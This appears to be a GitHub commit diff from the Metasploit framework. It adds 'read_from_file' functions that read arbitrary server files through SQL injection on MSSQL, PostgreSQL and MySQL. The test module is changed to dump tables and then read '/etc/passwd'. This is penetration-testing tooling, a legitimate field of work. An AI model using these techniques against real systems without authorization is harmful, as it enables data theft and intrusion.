Skip to content

Commit b10386b

Browse files
committed
Land #16650, Add #read_from_file for MSSQL and PostgreSQL, fix the MySQL implementation
2 parents 3f433b0 + b817a1f commit b10386b

File tree

4 files changed

+58
-12
lines changed

4 files changed

+58
-12
lines changed

lib/msf/core/exploit/sqli/mssqli/common.rb

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -196,6 +196,24 @@ def write_to_file(fpath, data)
196196
run_sql("select '#{data}' into dumpfile '#{fpath}'")
197197
end
198198

199+
#
200+
# Attempt reading from a file on the filesystem
201+
# @param fpath [String] The path of the file to read
202+
# @return [String] The content of the file if reading was successful
203+
#
204+
def read_from_file(fpath, binary=false)
205+
alias1 = Rex::Text.rand_text_alpha(1) + Rex::Text.rand_text_alphanumeric(5..11)
206+
expr = @encoder ? @encoder[:encode].sub(/\^DATA\^/, 'BulkColumn') : 'BulkColumn'
207+
output = if @truncation_length
208+
truncated_query("select substring(#{expr},^OFFSET^,#{@truncation_length}) " \
209+
"from openrowset(bulk N'#{fpath}',SINGLE_CLOB) as #{alias1}")
210+
else
211+
run_sql("select #{expr} from openrowset(bulk N'#{fpath}',SINGLE_CLOB) as #{alias1}")
212+
end
213+
output = @encoder[:decode].call(output) if @encoder
214+
output
215+
end
216+
199217
private
200218

201219
#

lib/msf/core/exploit/sqli/mysqli/common.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ class Common < Msf::Exploit::SQLi::Common
1313
#
1414
ENCODERS = {
1515
base64: {
16-
encode: 'to_base64(^DATA^)',
16+
encode: 'replace(to_base64(^DATA^), \'\\n\', \'\')',
1717
decode: proc { |data| Base64.decode64(data) }
1818
},
1919
hex: {
@@ -217,10 +217,11 @@ def write_to_file(fpath, data)
217217
#
218218
# Attempt reading from a file on the filesystem, requires having the FILE privilege
219219
# @param fpath [String] The path of the file to read
220+
# @param binary [Boolean] Whether the target file is a binary one or not
220221
# @return [String] The content of the file if reading was successful
221222
#
222-
def read_from_file(fpath)
223-
run_sql("select load_file('#{fpath}')")
223+
def read_from_file(fpath, binary=false)
224+
call_function("load_file('#{fpath}')")
224225
end
225226

226227
private

lib/msf/core/exploit/sqli/postgresqli/common.rb

Lines changed: 17 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ class Common < Msf::Exploit::SQLi::Common
1313
#
1414
ENCODERS = {
1515
base64: {
16-
encode: 'encode(^DATA^::bytea, \'base64\')',
16+
encode: 'translate(encode(^DATA^::bytea, \'base64\'), E\'\n\',\'\')',
1717
decode: proc { |data| Base64.decode64(data) }
1818
},
1919
hex: {
@@ -206,6 +206,22 @@ def write_to_file(fname, data)
206206
raw_run_sql("copy (select '#{data}') to '#{fname}'")
207207
end
208208

209+
#
210+
# Attempt reading from a file on the filesystem
211+
# @param fpath [String] The path of the file to read
212+
# @param binary [String] Whether the target file should be considered a binary one (defaults to false)
213+
# @return [String] The content of the file if reading was successful
214+
#
215+
def read_from_file(fpath, binary=false)
216+
if binary
217+
# pg_read_binary_file returns bytea
218+
# an encoder might be needed
219+
call_function("pg_read_binary_file('#{fpath}')")
220+
else
221+
call_function("pg_read_file('#{fpath}')")
222+
end
223+
end
224+
209225
private
210226

211227
#

test/modules/auxiliary/test/sqli_test.rb

Lines changed: 19 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,7 @@ def initialize(info = {})
3636
end
3737

3838
def boolean_blind
39-
encoder = datastore['ENCODER'].empty? ? nil : datastore['ENCODER'].intern
39+
encoder = datastore['ENCODER'].nil? || datastore['ENCODER'].empty? ? nil : datastore['ENCODER'].intern
4040
sqli = create_sqli(dbms: @dbms, opts: {
4141
encoder: encoder,
4242
hex_encode_strings: datastore['HEX_ENCODE_STRINGS'],
@@ -57,7 +57,7 @@ def boolean_blind
5757
end
5858

5959
def reflected
60-
encoder = datastore['ENCODER'].empty? ? nil : datastore['ENCODER'].intern
60+
encoder = datastore['ENCODER'].nil? || datastore['ENCODER'].empty? ? nil : datastore['ENCODER'].intern
6161
truncation = datastore['TRUNCATION_LENGTH'] <= 0 ? nil : datastore['TRUNCATION_LENGTH']
6262
sqli = create_sqli(dbms: @dbms, opts: {
6363
encoder: encoder,
@@ -69,19 +69,26 @@ def reflected
6969
}) do |payload|
7070
sock = TCPSocket.open(datastore['RHOST'], datastore['RPORT'])
7171
sock.puts('0 union ' + payload)
72-
res = sock.gets&.chomp
72+
res = ""
73+
begin
74+
while true
75+
res += sock.readline
76+
end
77+
rescue EOFError
78+
vprint_status("Hit end of file...")
79+
end
7380
sock.close
7481
truncation ? res[0, truncation] : res
7582
end
76-
unless sqli.test_vulnerable
77-
print_bad("Doesn't seem to be vulnerable")
78-
return
79-
end
83+
#unless sqli.test_vulnerable
84+
# print_bad("Doesn't seem to be vulnerable")
85+
# return
86+
#end
8087
perform_sqli(sqli)
8188
end
8289

8390
def time_blind
84-
encoder = datastore['ENCODER'].empty? ? nil : datastore['ENCODER'].intern
91+
encoder = datastore['ENCODER'].nil? || datastore['ENCODER'].empty? ? nil : datastore['ENCODER'].intern
8592
sqli = create_sqli(dbms: @dbms, opts: {
8693
encoder: encoder,
8794
hex_encode_strings: datastore['HEX_ENCODE_STRINGS'],
@@ -109,15 +116,19 @@ def time_blind
109116
def perform_sqli(sqli)
110117
print_good "dbms version: #{sqli.version}"
111118
tables = sqli.enum_table_names
119+
tables.map! { |table| table.strip }
112120
print_good "tables: #{tables.join(', ')}"
113121
tables.each do |table|
114122
columns = sqli.enum_table_columns(table)
123+
columns.map! { |column| column.strip }
115124
print_good "#{table}(#{columns.join(', ')})"
116125
content = sqli.dump_table_fields(table, columns)
117126
content.each do |row|
118127
print_good "\t" + row.join(', ')
119128
end
120129
end
130+
passwd_content = sqli.read_from_file('/etc/passwd')
131+
print_good("Got #{passwd_content}")
121132
end
122133

123134
def run

0 commit comments

Comments
 (0)